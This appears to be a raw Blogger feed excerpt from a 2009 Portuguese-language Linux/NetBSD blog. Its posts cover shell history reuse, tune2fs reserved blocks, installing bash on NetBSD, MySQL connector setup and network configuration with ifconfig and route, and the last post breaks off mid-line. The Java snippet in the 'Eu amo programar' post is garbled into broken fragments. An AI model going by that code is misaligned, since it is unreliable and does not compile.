src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-7364493276153743732</id><published>2009-09-16T17:09:00.004-03:00</published><updated>2011-02-27T03:09:03.148-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><title type='text'>Reaproveitando comandos</title><content type='html'>No dia-a-dia nós nos perdemos numa infinidade de comandos no shell de nossos sistemas Unix-like. Existe algumas maneiras de reaproveitar os comandos anteriormente digitados.&lt;br /&gt;&lt;br /&gt;O comando mais conhecido é o "history". Podemos usar o comando puro, e ele nos mostra a lista de ultimos comandos digitaos, ou então o comando seguido por um número e então ele nos retorna apenas os ultimos "n" comandos digitados:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[root@localhost ~]# history 3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; 1175  man -a rdev&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; 1176  man -a rdev&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; 1177  history 3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A outra manheira bastante elegante é o comando "fc". A opção -l desse comando lista para nós os ultimos comandos a partir do comando definido para procura:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[root@localhost ~]# fc -l man&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1176     man -a rdev&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1177     history 3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1178     fc -l vg&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1179     fc -l mnt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1180     fc -l pv&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Foi mostrado o ultimo comando man que usei e todos os comandos que vieram após ele. Agora caso queira usar um dos comandos já digitados, basta olhar o número que aparece ao lado esquerdo do comando e usá-lo com o "!" assim:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[root@localhost ~]#!1176&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Digitem menos, e façam mais! Grande abraço&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-7364493276153743732?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/7364493276153743732/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/09/reaproveitando-comandos.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7364493276153743732'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7364493276153743732'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/09/reaproveitando-comandos.html' title='Reaproveitando comandos'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-6110265339355558497</id><published>2009-09-14T14:20:00.008-03:00</published><updated>2011-02-27T03:10:43.668-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><title type='text'>Instalando programas no NetBSD</title><content type='html'>O Som é meio pesadinho, mas foi pra animar a tarde.&lt;br /&gt;&lt;br /&gt;Neste vídeo eu mostro como instalar o Bash2 no NetBSD; Com isso podemos usar a techa&lt;br /&gt;TAB para completar comandos e nomes de arquivos. Também podemos usar o CTRL + R&lt;br /&gt;coisas que não são possíveis no shell padrão do NetBSD (o /bin/sh).&lt;br /&gt;&lt;br /&gt;Espero que tirem proveito.&lt;br /&gt;&lt;br /&gt;&lt;object width="670" height="556" class="BLOG_video_class" id="BLOG_video-44dae75b0e17285a" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"&gt;&lt;param name="movie" value="http://www.youtube.com/get_player"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="flashvars" value="flvurl=http://v22.nonxt7.googlevideo.com/videoplayback?id%3D44dae75b0e17285a%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330249896%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D7828CF35EFA0ACD66CA6E65521677FFF56B88DEC.4926669F125A8246762DBBCD58DF7D86134271A7%26key%3Dck1&amp;amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D44dae75b0e17285a%26offsetms%3D5000%26itag%3Dw160%26sigh%3DRwHvtAWQMxYPL0Ive6vOcO_b9RI&amp;amp;autoplay=0&amp;amp;ps=blogger"&gt;&lt;embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="670" height="556" bgcolor="#FFFFFF"flashvars="flvurl=http://v22.nonxt7.googlevideo.com/videoplayback?id%3D44dae75b0e17285a%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330249896%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D7828CF35EFA0ACD66CA6E65521677FFF56B88DEC.4926669F125A8246762DBBCD58DF7D86134271A7%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D44dae75b0e17285a%26offsetms%3D5000%26itag%3Dw160%26sigh%3DRwHvtAWQMxYPL0Ive6vOcO_b9RI&amp;autoplay=0&amp;ps=blogger"allowFullScreen="true" /&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Qualquer sugestão, estou ansioso para lê-la. Até mais!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-6110265339355558497?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/6110265339355558497/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/09/instalando-programas-no-netbsd.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6110265339355558497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6110265339355558497'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/09/instalando-programas-no-netbsd.html' title='Instalando programas no NetBSD'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-2572467495333055908</id><published>2009-08-21T11:07:00.004-03:00</published><updated>2011-03-03T02:05:09.841-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>Ext2 e Ext3 Avançado</title><content type='html'>Você sabia que, ao criar um sistema de arquivos do tipo ext2 ou ext3, o sistema automaticamente reserva 5% do tamanho total do disco para ser usado apenas pelo usuário root?&lt;br /&gt;&lt;br /&gt;Pois é, sendo assim, quando você lotar 95% do seu disco nenhum usuário conseguirá logar, apenas o root. Isso se dá por que ao logar alguns arquivos temporários são criados, e já que só está disponível os 5% do usuário root, apenas ele consegue acessar o sistema.&lt;br /&gt;&lt;br /&gt;Isso é uma medida de segurança usado para garantir que quando o disco estiver com 100% de uso, na verdade ele esteja com 5% disponível para o usuário administrador poder entrar no sistema e fazer as alterações necessárias.&lt;br /&gt;&lt;br /&gt;Essas configurações podem ser alteradas usando o comando tune2fs, ele é usado para "TUNAR", ou seja, fazer configurações finas no seu sistema de arquivos.&lt;br /&gt;&lt;br /&gt;A opção -l do tune2fs nos permite ver as configurações atuais. Veja um exemplo:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;[root@localhost ~]# tune2fs -l /dev/sda1&lt;br /&gt;tune2fs 1.39 (29-May-2006)&lt;br /&gt;Filesystem volume name:   /&lt;br /&gt;Last mounted on:          &lt;not available=""&gt;&lt;br /&gt;Filesystem UUID:          b71b30fb-b4e0-4a46-9bb7-97c907872ce1&lt;br /&gt;Filesystem magic number:  0xEF53&lt;br /&gt;Filesystem revision #:    1 (dynamic)&lt;br /&gt;Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super large_file&lt;br /&gt;Default mount options:    user_xattr acl&lt;br /&gt;Filesystem state:         clean&lt;br /&gt;Errors behavior:          Continue&lt;br /&gt;Filesystem OS type:       Linux&lt;br /&gt;Inode count:              2072576&lt;br /&gt;Block count:              2072377&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Reserved block count:     103618&lt;/span&gt;&lt;br /&gt;Free blocks:              1325167&lt;br /&gt;Free inodes:              1944687&lt;br /&gt;First block:              0&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Block size:               4096&lt;/span&gt;&lt;br /&gt;Fragment size:            4096&lt;br /&gt;Reserved GDT blocks:      505&lt;br /&gt;Blocks per group:         32768&lt;br /&gt;Fragments per group:      32768&lt;br /&gt;Inodes per group:         32384&lt;br /&gt;Inode blocks per group:   1012&lt;br /&gt;Filesystem created:       Tue Jun  9 12:22:37 2009&lt;br /&gt;Last mount time:          Sat Aug 15 18:48:47 2009&lt;br /&gt;Last write time:          Sat Aug 15 18:48:47 2009&lt;br /&gt;Mount count:              17&lt;br /&gt;Maximum mount count:      -1&lt;br /&gt;Last checked:             Tue Jun  9 12:22:37 2009&lt;br /&gt;Check interval:           0 (&lt;none&gt;)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Reserved blocks uid:      0 (user root)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Reserved blocks gid:      0 (group root)&lt;/span&gt;&lt;br /&gt;First inode:              11&lt;br /&gt;Inode size:               128&lt;br /&gt;Journal inode:            8&lt;br /&gt;Default directory hash:   tea&lt;br /&gt;Directory Hash Seed:      16eb3650-1638-4237-a476-af0473a77385&lt;br /&gt;Journal backup:           inode blocks&lt;/none&gt;&lt;/not&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Observe nas partes em negrito, temos o número de blocos reservados, o tamanho de cada bloco e finalmente qual usuário terá a permissão de usar os blocos reservados.&lt;br /&gt;&lt;br /&gt;Se você tiver interesse em colocar outro usuário para poder usar os blocos reservados, use a opção -u do mesmo comando. asism:&lt;br /&gt;&lt;br /&gt;tune2fs -u alan /dev/sda1&lt;br /&gt;&lt;br /&gt;Para alterar o tamanho de blocos reservado use a opção -m da seguinte maneira:&lt;br /&gt;&lt;br /&gt;tune2fs -m10 /dev/sda1&lt;br /&gt;&lt;br /&gt;Observe o número 10 logo após o -m, ele indica 10% do disco. Para você reduzir a porcentagem ao mínimo possível use 0% que automaticamente ele reajustará para 1% :). 1% é o mínimo, pois&lt;br /&gt;esse mecanismo de segurança é REALMENTE necessário.&lt;br /&gt;&lt;br /&gt;Abraços,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-2572467495333055908?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/2572467495333055908/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/08/ext2-e-ext3-avancado.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/2572467495333055908'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/2572467495333055908'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/08/ext2-e-ext3-avancado.html' title='Ext2 e Ext3 Avançado'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-3252631937502730058</id><published>2009-07-16T16:02:00.002-03:00</published><updated>2011-03-03T02:04:12.932-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><title type='text'>Upload de arquivos grandes</title><content type='html'>Faça upload e compartilhe arquivos grandes:&lt;br /&gt;&lt;br /&gt;http://senduit.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-3252631937502730058?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/3252631937502730058/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/07/upload-de-arquivos-grandes.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/3252631937502730058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/3252631937502730058'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/07/upload-de-arquivos-grandes.html' title='Upload de arquivos grandes'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-2646312891158125538</id><published>2009-07-15T13:48:00.000-03:00</published><updated>2009-07-15T13:49:26.752-03:00</updated><title type='text'>Gosto dessa música</title><content type='html'>Gosto dessa música, olhe a letra também! :)&lt;br /&gt;&lt;br /&gt;Música:&lt;br /&gt;&lt;br /&gt;&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/UB-ymwBUtvs&amp;hl=pt-br&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/UB-ymwBUtvs&amp;hl=pt-br&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Letra: &lt;br /&gt;http://letras.terra.com.br/james-blunt/1086279/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-2646312891158125538?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/2646312891158125538/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/07/gosto-dessa-musica.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/2646312891158125538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/2646312891158125538'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/07/gosto-dessa-musica.html' title='Gosto dessa música'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-2900338328968917437</id><published>2009-07-14T22:27:00.001-03:00</published><updated>2011-03-03T02:03:48.774-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='eclipse'/><title type='text'>Eu amo programar :P</title><content type='html'>Depois eu explico isso:&lt;br /&gt;&lt;br /&gt;import java.util.Calendar;&lt;br /&gt;&lt;br /&gt;public class Brutos {&lt;br /&gt;public static void main(String[] args) {&lt;br /&gt; Calendar hora = Calendar.getInstance();&lt;br /&gt; long milisec = hora.getTimeInMillis();&lt;br /&gt; char[] digits = getDigitos(milisec);&lt;br /&gt; String make = "";&lt;br /&gt; int pos=0, resultado=0;&lt;br /&gt;&lt;br /&gt; System.out.println("HORA em Milisegundos: " + milisec);&lt;br /&gt; System.out.println(" ");&lt;br /&gt; try {&lt;br /&gt; } catch (Exception e){&lt;br /&gt;  e.printStackTrace();&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; for (int max = 0; max &lt; make =" make" resultado =" Integer.parseInt(make);" caracteres =" String.valueOf(numero).toCharArray();" digitos =" new" cont =" 0;" posicao =" (caracteres.length"&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-2900338328968917437?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/2900338328968917437/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/07/eu-amo-programar-p.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/2900338328968917437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/2900338328968917437'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/07/eu-amo-programar-p.html' title='Eu amo programar :P'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-7749109342413578586</id><published>2009-07-05T23:01:00.002-03:00</published><updated>2011-03-03T02:02:38.141-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='eclipse'/><title type='text'>MySQL Connector - JAVA</title><content type='html'>Bem,&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;O blog também é um lugar para eu guardar as coisas que me serão úteis no futuro. Esse problema eu resolvi uma vez mas não anotei em lugar algum, por isso quando precisei tive que bater a cabeça novamente.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Onde colocar o conector do MySQL para o JAVA? here:&lt;/div&gt;&lt;div&gt;C:\Arquivos de programas\Java\jdk1.6.0_14\jre\lib\ext&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Assim o Class.forName("com.mysql.jdbc.Driver"); vai encontrar o MySQL Connector.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Sabendo disso é possível resolver o problema tanto no linux quanto no windows. Se existe um método melhor do que copiar o conector nessa pasta, vou descobrir depois. O que importa é que pra mim hoje funciona assim.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-7749109342413578586?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/7749109342413578586/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/07/mysql-connector-java.html#comment-form' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7749109342413578586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7749109342413578586'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/07/mysql-connector-java.html' title='MySQL Connector - JAVA'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-6343294366162512389</id><published>2009-06-26T14:22:00.002-03:00</published><updated>2011-03-03T02:01:54.764-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><title type='text'>O sistema Operacional NetBSD</title><content type='html'>&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 245px; height: 243px;" src="http://3.bp.blogspot.com/_kOIPiN3lLNM/SkUD8knNcxI/AAAAAAAAABA/9N3h34-XmHc/s320/netbsd-smaller-old.jpg" alt="" id="BLOGGER_PHOTO_ID_5351688071354872594" border="0" /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 19px;font-size:13px;" &gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;O meu sistema operacional predileto. Aconselho um estudo do mesmo, caso esteja interessado em montar bons servidores de rede, firewalls e afins.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Se você precisa de uma referência inicial até conseguir Andar com as próprias pernas, aí segue um excelente material: &lt;a href="http://www.mclink.it/personal/MG2508/nbsdbra/netbsd.html"&gt;http://www.mclink.it/personal/MG2508/nbsdbra/netbsd.html&lt;/a&gt; . Ainda vale citar que estou à disposição para ajudá-los.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;O NetBSD possui um grande apoio da comunidade e uma vasta documentação internet a fora. Vale a pena coferir.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="Apple-style-span"  style="font-size:130%;"&gt;&lt;span class="Apple-style-span"  style="font-size:16px;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-6343294366162512389?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/6343294366162512389/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/o-meu-sistema-operacional-predileto.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6343294366162512389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6343294366162512389'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/o-meu-sistema-operacional-predileto.html' title='O sistema Operacional NetBSD'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kOIPiN3lLNM/SkUD8knNcxI/AAAAAAAAABA/9N3h34-XmHc/s72-c/netbsd-smaller-old.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-7810464186178661941</id><published>2009-06-26T14:19:00.002-03:00</published><updated>2011-03-03T02:01:36.602-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><title type='text'>Configuração de rede no Linux/NetBSD</title><content type='html'>&lt;span class="Apple-style-span"  style="font-family:'Times New Roman';"&gt;&lt;div style="background-color: rgb(255, 255, 255); font: 13px/19px Georgia,'Times New Roman','Bitstream Charter',Times,serif; padding: 0.6em; margin: 0px;"&gt;&lt;p&gt;Vamos abordar os arquivos/comandos do Linux usados para manipular as configurações de rede. Logicamente para configurar uma rede é necessário ter o conhecimento não só dos comandos, mas também de redes em si, independente de sistema operacional.&lt;/p&gt;&lt;p&gt;Este texto não irá ensinar o conceito de rede, portanto faz-se necessário o conhecimento desse assunto a fim de entender bem o texto a seguir.&lt;/p&gt;&lt;p&gt;Um dos passos necessários para a configuração de rede, se não o principal passo, é a configuração de um endereço para uma interface (placa de rede). Não só no Linux, mas na maioria dos sistemas baseados no UNIX o comando usado para tal é o "ifconfig".&lt;/p&gt;&lt;p&gt;&lt;b&gt;SINTAXE:&lt;/b&gt;&lt;br /&gt;&lt;i&gt;ifconfig "interface" "IP" netmask "mascara"&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Exemplo:&lt;br /&gt;ifconfig eth0 192.168.0.32 netmask 255.255.255.0&lt;/p&gt;&lt;p&gt;No exemplo acima foi configurado o endereço IP 192.168.0.32 com a mascara classe C para a Interface "eth0". Vale citar que se ao configurar o endereço na interface nenhuma mascara for definida, o sistema adotará a mascara padrão para a classe do IP. Sendo assim, o exemplo a seguir teria o mesmo resultado que o exemplo acima:&lt;/p&gt;&lt;p&gt;ifconfig eth0 192.168.0.32&lt;/p&gt;&lt;p&gt;Preste bastante atenção em qual interface (eth0, eth1, eth2 ...) você está configurando o endereçamento, pois caso você tenha mais de uma placa de rede em seu computador, mais de uma interface estará disponível.&lt;/p&gt;&lt;p&gt;Para adicionar uma saída padrão (gateway) para redes desconhecidas, usamos o comando "route".&lt;/p&gt;&lt;p&gt;Exemplo:&lt;/p&gt;&lt;p&gt;route add default gw 192.168.0.254&lt;/p&gt;&lt;p&gt;No comando acima adicionamos a saída padrão (default gw) pelo computador de endereço 192.168.0.254. Mas isso não basta para uma configuração de rede. Ainda precisamos configurar o DNS, ou seja, quem vai resolver os nomes dos sites pra a agente. Isso é feito unicamente em um arquivo chamado /etc/resolv.conf - Como o próprio nome do arquivo sugere, quem irá resolver os nomes para nós.&lt;/p&gt;&lt;p&gt;Exemplo:&lt;/p&gt;&lt;p&gt;echo "nameserver 192.168.0.254" &gt; /etc/resolv.conf&lt;/p&gt;&lt;p&gt;No exemplo acima foi inserido no arquivo de lista de resolvedores de nomes o endereço do nosso servidor DNS. É, obseerve que eu falei "lista de resolvedores", pois dentro desses arquivo podemos colocar mais de um servidor DNS.&lt;/p&gt;&lt;p&gt;A configuração de endereçamento IP por meio dos comandos "ipconfig" e "route" têm validade apenas em tempo de execução. O que significa que se o computador for reiniciado, as suas configurações não serão mais válidas, e o computador voltará a estar sem endereço IP  e sem rota para saída padrão. Para que a configuração tenha efeito ainda que o computador reinicie, as configurações devem estar em um arquivo apropriado. Toda vez que o sistema iniciar ele lerá esse arquivo e colocar em execução as configurações de rede que estiverem dentro dele.&lt;/p&gt;&lt;p&gt;A manipulação das configurações de rede por meio de arquivos variam a dapender da distribuição. Vamos citar os exemplos dos sistemas baseados no RedHat e no NetBSD.&lt;/p&gt;&lt;p&gt;Em sistemas baseados no RedHat (Fedora, CentOS, Clarkconnect ...) o arquvivo para configuração de endereçamento é o /etc/sysconfig/network-scripts/ifcfg-eth0 (eth0 é a interface, e pode alterar de acordo com a interface que você quer configurar).&lt;/p&gt;&lt;p&gt;Abaixo segue um exemplo comentado do arquivo:&lt;/p&gt;&lt;p&gt;DEVICE=eth0                                            # nome da 